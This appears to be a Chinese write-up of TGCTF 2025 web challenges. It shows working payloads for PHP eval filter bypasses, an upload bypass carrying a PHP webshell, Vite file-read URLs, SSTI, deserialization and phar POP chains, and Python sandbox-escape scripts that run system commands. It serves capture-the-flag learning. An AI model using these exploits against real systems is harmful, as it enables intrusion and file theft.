AAA偷渡阴平 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $tgctf2025 =$_GET ['tgctf2025' ];if (!preg_match ("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $tgctf2025 )){ eval ($tgctf2025 ); } else { die ('(╯‵□′)╯炸弹!•••*~●' ); } highlight_file (__FILE__ );
考点无参数rce
文章:https://blog.csdn.net/2301_76690905/article/details/133808536
payload:?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');
AAA偷渡阴平(复仇) 说是不可以用无参数 但是没有禁止session类的函数
;分割可以执行两个命令
?tgctf2025=session_start();passthru(hex2bin(session_id()));
cookie:PHPSESSID=636174202f666c6167
(ez)upload 文件上
dirsearch扫描可以扫出upload.php 题目提示是备份文件 于是尝试访问upload.php.bak
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php define ('UPLOAD_PATH' , __DIR__ . '/uploads/' );$is_upload = false ;$msg = null ;$status_code = 200 ; if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" ); if (isset ($_GET ['name' ])) { $file_name = $_GET ['name' ]; } else { $file_name = basename ($_FILES ['name' ]['name' ]); } $file_ext = pathinfo ($file_name , PATHINFO_EXTENSION); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['name' ]['tmp_name' ]; $file_content = file_get_contents ($temp_file ); if (preg_match ('/.+?</s' , $file_content )) { $msg = '文件内容包含非法字符,禁止上传!' ; $status_code = 403 ; } else { $img_path = UPLOAD_PATH . $file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; $msg = '文件上传成功!' ; } else { $msg = '上传出错!' ; $status_code = 500 ; } } } else { $msg = '禁止保存为该类型文件!' ; $status_code = 403 ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; $status_code = 404 ; } } http_response_code ($status_code );echo json_encode ([ 'status_code' => $status_code , 'msg' => $msg , ]);
这里发现htaccess被禁了 但是这里看到了2个非常具有特性的函数
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
这行获取的是文件的拓展名,同时又对ph和hta进行了过滤
move_uploaded_file
定义 1 2 move_uploaded_file() 函数把上传的文件移动到新位置。 如果成功该函数返回 TRUE,如果失败则返回 FALSE。
语法 1 2 3 move_uploaded_file(file,newloc) file:必需。规定要移动的文件。 newloc:必需。规定文件的新位置。
提示 1 2 注释:该函数仅用于通过 HTTP POST 上传的文件。 注释:如果目标文件已经存在,将会被覆盖。
漏洞利用 1 当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php
直接先传个文件然后再把后缀改为*.php/.即可
GET也要传入?name=*.php/.
然后蚁剑连接成功,找flag就好了。
总结下 pathifo
函数帮助绕过对php后缀的检测 让file_ext返回值为空
move_uploaded_file
函数则是帮助删除/. 让保存文件后缀最后变为php
上传文件的数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 POST /upload.php?name=22.php/. HTTP/1.1 Host: 127.0.0.1:60681 Content-Length: 310 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:60681 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU4VFMZ4wbU2hEGvg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1:60681/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryU4VFMZ4wbU2hEGvg Content-Disposition: form-data; name="name"; filename="22.php/." Content-Type: image/jpeg <?=eval($_POST['1']);?> ------WebKitFormBoundaryU4VFMZ4wbU2hEGvg Content-Disposition: form-data; name="submit" 上传文件 ------WebKitFormBoundaryU4VFMZ4wbU2hEGvg--
前端GAME 进去是个小游戏 本来以为是正常思路 但是怎么都做不出 于是题目是个vue框架的游戏 于是搜索 发现有关于这个的漏洞
漏洞文章:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区
Vite存在CVE-2025-30208安全漏洞(附修复方案和演示示例)
Vite漏洞原理 Vite在开发服务器模式下,提供了@fs
功能,原本是为了让开发者访问服务允许范围内的文件。正常情况下,如果请求的文件超出了这个允许范围,Vite应该返回“403 Restricted”,提示访问受限。但攻击者发现了一个“漏洞”,当在请求URL中添加?raw??
或?import&raw??
这样的特殊参数时,就能绕过原本的文件访问限制检查。
原因:Vite在处理请求的多个环节中,会移除类似?
的结尾分隔符,但在查询字符串的正则匹配过程中,却没有考虑到这种特殊情况,这就给攻击者可乘之机,他们利用这个缺陷,就能读取目标文件的内容 。
题目解法 直接按照他给的payload /@fs/tgflagggg?import&raw??
前端GAME Plus 上一道题的payload不可行了
文章未公开的poc:可以通过svg来进行文件读取 /@fs/tgflagggg?import&?meteorkai.svg?.wasm?init
得到VEdDVEZ7ZmUxM2MzZGYtYzNkNC1hYjJhLTQwZjYtNjNjYjM1MzczNjAyfQo=
base64解码 TGCTF{fe13c3df-c3d4-ab2a-40f6-63cb35373602}
前端GAME Ultra plus的payload也不可以
/@fs/app#/../proc/self/environ
读环境变量
也可以 /@fs/app/vite-project/#/../../../../../tgflagggg
直面天命 访问/hint 提示是一个四个小写英文字母的路由 爆出来是/aazz路由
进去f12 看到说是可以传参数 but不知道参数是什么 那就arjun爆破吧 爆出来是filename
看到fillename参数 一般会考虑到ssrf 就像name是ssti一样
传入?filename=/etc/passwd
可以读取 尝试读取环境变量
?filename=/proc/1/environ
也可以直接读/flag
直面天命(复仇) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import osimport stringfrom flask import Flask, request, render_template_string, jsonify, send_from_directoryfrom a.b.c.d.secret import secret_keyapp = Flask(__name__) black_list=['lipsum' ,'|' ,'%' ,'{' ,'}' ,'map' ,'chr' , 'value' , 'get' , "url" , 'pop' ,'include' ,'popen' ,'os' ,'import' ,'eval' ,'_' ,'system' ,'read' ,'base' ,'globals' ,'_.' ,'set' ,'application' ,'getitem' ,'request' , '+' , 'init' , 'arg' , 'config' , 'app' , 'self' ] def waf (name ): for x in black_list: if x in name.lower(): return True return False def is_typable (char ): typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace return char in typable_chars @app.route('/' ) def home (): return send_from_directory('static' , 'index.html' ) @app.route('/jingu' , methods=['POST' ] ) def greet (): template1="" template2="" name = request.form.get('name' ) template = f'{name} ' if waf(name): template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹 Image' else : k=0 for i in name: if is_typable(i): continue k=1 break if k==1 : if not (secret_key[:2 ] in name and secret_key[2 :]): template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧 再去西行历练历练 Image' return render_template_string(template) template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}” 最后,如果你用了cat,就可以见到齐天大圣了 " template= template.replace("天命" ,"{{" ).replace("难违" ,"}}" ) template = template if "cat" in template: template2 = ' 或许你这只叫天命人的猴子,真的能做到? Image' try : return template1+render_template_string(template)+render_template_string(template2) except Exception as e: error_message = f"500报错了,查询语句如下: {template} " return error_message, 400 @app.route('/hint' , methods=['GET' ] ) def hinter (): template="hint: 有一个aazz路由,去那里看看吧,天命人!" return render_template_string(template) @app.route('/aazz' , methods=['GET' ] ) def finder (): with open (__file__, 'r' ) as f: source_code = f.read() return f" {source_code} " , 200 , {'Content-Type' : 'text/html; charset=utf-8' }if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
审计源码 黑名单
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
把{}ban了 但是天命和难违可以替换为
所以直接按照黑名单 打ssti就可
最后payload
1 天命((g['p' 'op' ]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f" ]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f" ]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f" ]('o' 's' ))['p' 'open' ]('cat /t*' ))['r' 'ead' ]()难违
火眼辩魑魅 进去dirsearch扫描网站 看到robots.txt 访问得到很多路由 说是只有一个能到
直接到/tgshell.php打rce即可
post传入· shell=print \
cat /t*`;`
因为是一句话木马 也可以直接使用蚁剑连接 然后也可得到flag
什么文件上传? 进去是文件上传 发现传什么都被ban 于是dirsearch了一下网站 robots.txt里有东西
[图片]
访问/class.php 发现是是反序列化并且有漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php highlight_file (__FILE__ ); error_reporting (0 ); function best64_decode ($str ) { return base64_decode (base64_decode (base64_decode (base64_decode (base64_decode ($str ))))); } class yesterday { public $learn ; public $study ="study" ; public $try ; public function __construct ( ) { $this ->learn = "learn<br>" ; } public function __destruct ( ) { echo "You studied hard yesterday.<br>" ; return $this ->study->hard (); } } class today { public $doing ; public $did ; public $done ; public function __construct ( ) { $this ->did = "What you did makes you outstanding.<br>" ; } public function __call ($arg1 , $arg2 ) { $this ->done = "And what you've done has given you a choice.<br>" ; echo $this ->done; if (md5 (md5 ($this ->doing))==666 ){ return $this ->doing (); } else { return $this ->doing->better; } } } class tommoraw { public $good ; public $bad ; public $soso ; public function __invoke ( ) { $this ->good="You'll be good tommoraw!<br>" ; echo $this ->good; } public function __get ($arg1 ) { $this ->bad="You'll be bad tommoraw!<br>" ; } } class future { private $impossible ="How can you get here?<br>" ; private $out ; private $no ; public $useful1 ;public $useful2 ;public $useful3 ;public $useful4 ;public $useful5 ;public $useful6 ;public $useful7 ;public $useful8 ;public $useful9 ;public $useful10 ;public $useful11 ;public $useful12 ;public $useful13 ;public $useful14 ;public $useful15 ;public $useful16 ;public $useful17 ;public $useful18 ;public $useful19 ;public $useful20 ; public function __set ($arg1 , $arg2 ) { if ($this ->out->useful7) { echo "Seven is my lucky number<br>" ; system ('whoami' ); } } public function __toString ( ) { echo "This is your future.<br>" ; system ($_POST ["wow" ]); return "win" ; } public function __destruct ( ) { $this ->no = "no" ; return $this ->no; } } if (file_exists ($_GET ['filename' ])){ echo "Focus on the previous step!<br>" ; } else { $data =substr ($_GET ['filename' ],0 ,-4 ); unserialize (best64_decode ($data )); } ?>
理一下大概的链子顺序
yesterday::destruct(study=new today)-> today::__call(doing=new future)-> future::__tostring
然后post传入wow就可以进行命令执行 但是有个注意点
1 2 3 4 5 6 function best64_decode ($str ) { return base64_decode (base64_decode (base64_decode (base64_decode (base64_decode ($str ))))); } ...... unserialize (best64_decode ($data ));
序列化后的数据还要base_encode 5次传入
pop链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class yesterday { public $learn ; public $study ; public $try ; } class today { public $doing ; public $did ; public $done ; } class tommoraw { public $good ; public $bad ; public $soso ; } class future { private $impossible ="How can you get here?<br>" ; private $out ; private $no ; public $useful1 ;public $useful2 ;public $useful3 ;public $useful4 ;public $useful5 ;public $useful6 ;public $useful7 ;public $useful8 ;public $useful9 ;public $useful10 ;public $useful11 ;public $useful12 ;public $useful13 ;public $useful14 ;public $useful15 ;public $useful16 ;public $useful17 ;public $useful18 ;public $useful19 ;public $useful20 ; } $aa = new yesterday ();$aa ->study = new today ();$aa ->study->doing = new future ();echo serialize ($aa );?>
null替换为%00就行了 因为private属性的原因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZ XUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBoa1QxSkhVbkZhVnpBMFpVWlJlV0 pGZEd4aVZrcEtWbTB4TUdKR1ZYZGhlazVYVTBoQ01sUldWVFZqUms1eFVXMXNUbUpGY0haWGJGcFBVM nMxY2sxVVdtcFNSMUp4V2xjd05HVkdVWGxpUlhSb1RXdHNOVmxyYUZkWlYxWldZWHBPVjFOSVFqSlVW M00xWTBaT2RFMVhkRmhTYTJ3MFYxUkplRlp0UmxaUFdFWlVWMGhDVVZsdE5WTk9iRkY1WTBWYVQxSlV iSGRWTWpCNFlURmtSMU5ZYUZwTmFrWllXVEJrUzFkV1JuVlhiWEJPVFVSV00xWXhZM2hPUjBwR1lraE dhMU5JUWxGWlYzUnlaVVpSZVdKRmRGUldNR3cyVjFSS2ExZHJNWEpYYWtaVVZsZG9lbHBITVZOV1JrW jBUbGRHV0ZKclduVlhWbFpyVmpKV1YyTkdWbEJTUjJoaFdXMTBjbU5zVGxoalJFSnNZWHBzZUZWc2FH OVZSMFpXWTBoU1lWSnRhRlJVVm1SUFpFWmFkVmR0ZEZoU2ExcDNWa2h3UWsxRk5IbFVhbHBwVFRKb1Q xVnJZelZqUm1SMFRsWmtUbEl4U2xwVk1qRTBZVmRLVldGSVFsVmxhMFYzVkdwS1QwNXRTalpVYkVKb1 ZsYzVORmRZY0V0V01rcFlWV3hvYTAweWFFdFpWelZUVlVaU05sUnJOVTloZWxVeVdXcEtjMkV4WkVaT 1dFNVlZbFJXV0ZsNlFYaGpSazVWV2taV2FHSnNTVEpXUkVwM1lXczFjbUpJVmxkaWJrSm9WbXBHZG1W R2JISlZhelZvVmxSb00xUnJVbXRoYlZaMFQwaHdWVTF0ZUV4VVZtUk9aVlphZEUxWGRGZE5NazR6VlR Ga2QwMUdVWGRQU0hCVlZrWndVRnBYTURWalJuQkhZVVU1YVZKdVFqRldiVFZQVkRGVmQyRjZUbGRTTT BGM1dsZHpOV05XYkRaWGEzQnBZa1p2TWxZeWVHdFpWVEZZVTJ0V1dGWXllRkZVVlZKU1RURnJlbU5JV 2s1TlJHeDNWVEp3UjJGck1YTlhibEpoVW0xUmVsUlVRbk5qVjFKR1QxWkNUazFFUVhsV1J6VjNaRzFH V0ZWc2JGVmlXR2hvV1cxNFlXVnNVWGRVYTNCUFRWWktlRnBGYUhkVlIwWjBWRlJLVkZaNlZsaGFWM2g zVjBaa2NWSnRiRk5TTTFKM1ZraHdRazFGTkhsVWFscHBaV3hLVVZsV1ZuWmxSbXcyVTJ4a2FWWXhTbG xhUkU1dlZHeEZkMkY2VGxkU00wRjNXbGR6TldOV2NEWlhhM0JwWWtadk1sWXllR3RaVlRGWVUydFdVM WRIYUV0WlZ6VlRWVVpTTmxSck5VOWhlbXhHV1dwS2MyRXhaRVpPV0U1WVlsUldXRmw2UVhoV1ZrNVlZ a1pDVGxKR1JYcFhWRTUzWkdzMVJrOVlRbFJoYTFweFZGZDRZV1JHY0VkYVJFNXNVbFJGTVZVeFVtdFd WMFoxVldwYVZVMXVRblZVYlhSelpGWmFkV05IUmxkTlZ6azBWMWQwVTFKck1VWmlTRVpyVWxSc1VWUl VRWGROYkZGM1ZXNWFhRll4U2xwV1J6RTBXVmRLYzFkdWNGVldiRXBYV1ZaVk5HUXdOVVZhUjNCc1lsU m5kMVpFU25OVE1ERllWRmhzVjJKVVJuSldhazVyVGtaU2RHSkZjRTlOVmtwNFdrVm9kMVZIUm5SWmVr cFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldWalpWTVdSM1RVWlJkMDlJY0ZWV1JuQlJWV3RqTldOR2N FZGhSVGxwVW01Q01WWnROVTlVYkZwSVdraENWV1ZyUlhkVWFrcFBUbTFLTmxWc1FtaFdWemswVjFod1 MxWXlTbGhWYkdoclRUSm9VVlpVUW5KTk1WcElZMFJDYkdGNmJIaFhibkJoVTIxS2MxZHFXbGhpUjFKb 1ZGWmtTMUpXVGxsYVJYQm9ZbXhLVVZaSWNFNWxSMVp5VDFoR1ZWWkdjRXRaYkZwTFpERmtjbFJyY0U5 TlZrcDRXa1ZvZDFWSFJuTlNWRXBVVm5wR1ZGcEhNVXRrUmxwWVlrWkNUbEpHUlhwWGJYaHZWR3MxY2s xVVdtbE5iWGh5VlRCV2RrMVdUbGhqUkVKVlRVUm9ObFJWVVhkUVVUMDk=1111
在传入wow=cat /flag即可
什么文件上传?(复仇) 漏洞利用点:phar协议流可被file_exists()函数直接触发 可以上传.avg文件
链子如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class yesterday { public $learn ; public $study ; public $try ; } class today { public $doing ; public $did ; public $done ; } class tommoraw { public $good ; public $bad ; public $soso ; } class future { private $impossible ="How can you get here?<br>" ; private $out ; private $no ; public $useful1 ;public $useful2 ;public $useful3 ;public $useful4 ;public $useful5 ;public $useful6 ;public $useful7 ;public $useful8 ;public $useful9 ;public $useful10 ;public $useful11 ;public $useful12 ;public $useful13 ;public $useful14 ;public $useful15 ;public $useful16 ;public $useful17 ;public $useful18 ;public $useful19 ;public $useful20 ; } $aa = new yesterday ();$aa ->study = new today ();$aa ->study->doing = new future ();$phar = new Phar ('sauy.phar' );$phar ->startBuffering ();$phar ->setStub ('GIF89a' .'<?php __HALT_COMPILER(); ? >' );$phar ->setMetadata ($aa );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();?>
php -d phar.readonly=0 -f explore.php
将生成的sauy.php改为atg 上传成功后 到class.php 进行反序列化操作
get传入:?filename=phar://./uploads/sauy.atg/test.txt
post传入:wow=env
熟悉的配方,熟悉的味道 进去即使源代码贴脸 但是可惜我不会 赛后复现算是学到了 谢谢实验室的佬大教我
考点:沙箱绕过 python代码注入
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pyramid.config import Configuratorfrom pyramid.request import Requestfrom pyramid.response import Responsefrom pyramid.view import view_configfrom wsgiref.simple_server import make_serverfrom pyramid.events import NewResponseimport refrom jinja2 import Environment, BaseLoadereval_globals = { '__builtins__' : {}, '__import__' : None } def checkExpr (expr_input ): expr = re.split(r"[-+*/]" , expr_input) print (exec (expr_input)) if len (expr) != 2 : return 0 try : int (expr[0 ]) int (expr[1 ]) except : return 0 return 1 def home_view (request ): expr_input = "" result = "" if request.method == 'POST' : expr_input = request.POST['expr' ] if checkExpr(expr_input): try : result = eval (expr_input, eval_globals) except Exception as e: result = e else : result = "爬!" template_str = 【xxx】 env = Environment(loader=BaseLoader()) template = env.from_string(template_str) rendered = template.render(expr_input=expr_input, result=result) return Response(rendered) if __name__ == '__main__' : with Configurator() as config: config.add_route('home_view' , '/' ) config.add_view(home_view, route_name='home_view' ) app = config.make_wsgi_app() server = make_server('0.0.0.0' , 9040 , app) server.serve_forever()
法1:用抛出错误实现RCE,用污染HTTP 500的返回消息实现回显 脚本 看不懂问ai
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = "your_url" code = f""" b = re.match.__globals__['__builtins__'] b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body",b["__import__"]('os').popen('ls /').read().encode()) raise Exception("1") """ resp = requests.post(url, data = { "expr" : f"exec({code!r} )" , }) print (resp.status_code)print (resp.text)
脚本解释 1 2 3 4 5 6 7 首先通过 b = re.match.__globals__['__builtins__'] 这一步是通过加载__globals__的属性访问全局空间 目的是绕过对__import__和__builtins__的限制 相当于绕过对这个的沙箱限制 然后 b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body" 是过__import__函数动态加载wsgiref模块wsgiref.handlers.BaseHandler是WSGI处理HTTP请求/响应的基类,负责生成错误响应内容。 b["__import__"]('os').popen('ls /').read().encode() 然后修改类的error_body属性为命令执行的内容 然后encode是把其转化为字节类型 raise Exception("1")是强制抛出异常 触发WSGI报错
原理 通过故意触发程序中的异常(错误),利用异常处理机制中的漏洞执行恶意代码。例如,在动态代码执行环境(如eval
)中,攻击者构造输入引发异常,同时注入恶意代码。
做题思考步骤:
输入构造 :提交包含恶意代码的输入,如1 + "a"
引发类型错误。
异常触发 :服务器处理输入时抛出异常,进入错误处理流程。
代码注入 :在异常处理过程中,恶意代码被解析执行。例如,通过__import__('os').system('ls')
执行系统命令。
绕过限制 :利用反射或内置对象(如__builtins__
)绕过沙箱限制,实现任意代码执行。
法2:布尔盲注 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import stringimport requestsfrom tqdm import tqdmurl = "" flag="" for i in range (len (flag),50 ): for s in tqdm('-' +'}' +'{' +string.ascii_lowercase+string.digits): data = {"expr" :f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i} ],'{s} '));1/a" } res = requests.post(url, data=data) if res.text != "A server error occurred. Please contact the administrator." : flag += s print (flag) break print (i)s
法3:pyramid内存马 推荐这篇师傅的文章捏 https://www.yuque.com/polestar-mzvgl/swtget/zuh78rfp7i67u219#AWd8j
也可以看我的博客内置文章 https://sauy122.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/
TG_wordpress 有很多漏洞点 治理只写一种
扫描二维码下下来一个apk文件 jadx反编译后 全局搜索 password
1 2 3 <string name="web04" >+ username/password:</string> <string name="web05" >+ TG_wordpressor</string> <string name="web06" >+ aXx^oV@K &cFoVaztQ*</string>
在/login路由登录 进入过后 查询插件确定cve 的型号(你可也直接复制插件的内容 然后直接问dp)
TGCTF{CVE-2020-25213}
TGCTF 2025 后台管理 SQL注入